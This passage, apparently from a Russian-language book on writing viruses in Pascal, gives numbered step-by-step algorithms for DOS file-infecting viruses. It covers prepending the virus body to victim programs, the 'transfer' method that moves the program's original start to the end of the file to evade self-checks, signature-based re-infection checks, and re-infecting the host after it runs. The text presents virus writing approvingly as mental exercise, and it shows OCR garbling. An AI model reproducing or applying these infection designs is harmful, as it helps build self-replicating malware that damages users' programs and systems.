ты, но чаще всего используется сигнатура).

7. Если файл уже инфицирован, перейти к пункту 3.

8. Считать в буфер все тело программы.

9. Записать в начало файла тело вируса из буфера.

10. Дописать в файл после тела вируса тело программы из буфера.

Длина программы увеличивается на длину вируса.

11. Закрыть файл-жертву.

12. Открыть файл, из которого стартовали.

13. Считать в буфер тело инфицированной программы, расположенное

в файле после тела вируса.

14. Создать на диске временный файл с расширением СОМ или ЕХЕ

(в зависимости от того, какой тип программ заражается).

15. Записать в этот файл тело программы из буфера.

16. Закрыть созданный файл.

17. Процедурой Ехес запустить созданный файл на исполнение –

выполнится инфицированная программа.

18. После завершения работы программы созданный файл удалить.

19. Вернуть управление в DOS.

Вирусы – это хорошая гимнастика для ума, хотя многие думают, что

написать вирус на языке высокого уровня весьма трудно. Это

не совсем

так. Писать на языке Pascal довольно легко, правда величина получен-

ного кода вызывает благоговейный трепет.

Внедрение способом переноса

Вирусы данного типа размножаются следующим образом. Из инфициру-

емой программы от начала файла считывается часть кода, по длине рав-

ная длине вируса. На освободившееся место вписывается вирус,

а оригинальное начало программы переносится в конец файла. Отсюда

и название метода – „метод переноса“. Есть и другие варианты. Иногда,

например, начало программы записывается в середину файла, а середина

переносится в конец, чтобы еще сильнее все запутать. Превосходство дан-

ного метода над ддругими описанными в том, что инфицированная про-

грамма исполняется в том же виде, в каком она была до заражения,

из файла с тем же именем и расширением. То есть программы, проверя-

ющие себя на предмет заражения вирусом, его не замечают. Корректно

исполняются и такие программы, которые ищут свои файлы конфигура-

ции с именами:

ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI

Недостаток данного метода проявляется при сбоях в работе компьюте-

ра. Если при исполнении инфицированной программы компьютер

„повиснет“ или произойдет перезагрузка системы, инфицированная

программа окажется „чистой“, то есть без вируса. Но, во-первых, „кто

не ррискует, тот не пьет шампанского“, а во-вторых, программы виснут

редко. Алгоритм работы такого вируса следующий:

1. Открыть файл, из которого получено управление.

2. Считать в буфер тело вируса.

3. Закрыть файл.

4. Найти файл-жертву.

5. Открыть файл-жертву.

6. Проверить файл на пповторное заражение (здесь могут быть вариан-

ты, но чаще всего используется сигнатура).

7. Если файл уже инфицирован, перейти к пункту 3.

8. Считать в буфер из начала найденного файла фрагмент программы,

по длине равный телу вируса.

9. Записать в начало файла тело вируса из буфера.

10. Дописать в конец файла считанное начало программы из буфера.

Длина программы увеличилась на длину вируса.

11. Закрыть файл-жертву.

12. Открыть файл, из которого стартовали.

13. Считать в буфер начало инфицированной программы, расположен-

ное в конце файла.

14. Записать считанное начало программы поверх кода вируса в начало

файла.

15. Сократить файл до его оригинальной длины (то есть удалить часть

кода, по длине равную длине тела вируса, в конце файла).

16. Закрыть файл.

17. Процедурой Ехес запустить стартовый файл (ParamStr(O)) на ис-

полнение &– выполнится инфицированная программа.

18. После завершения работы программы опять открыть стартовый

файл.

19. Записать в начало файла тело вируса, а оригинальное начало про-

граммы опять переместить в конец файла.

20. Закрыть файл.

21. Вернуть управление в DOS.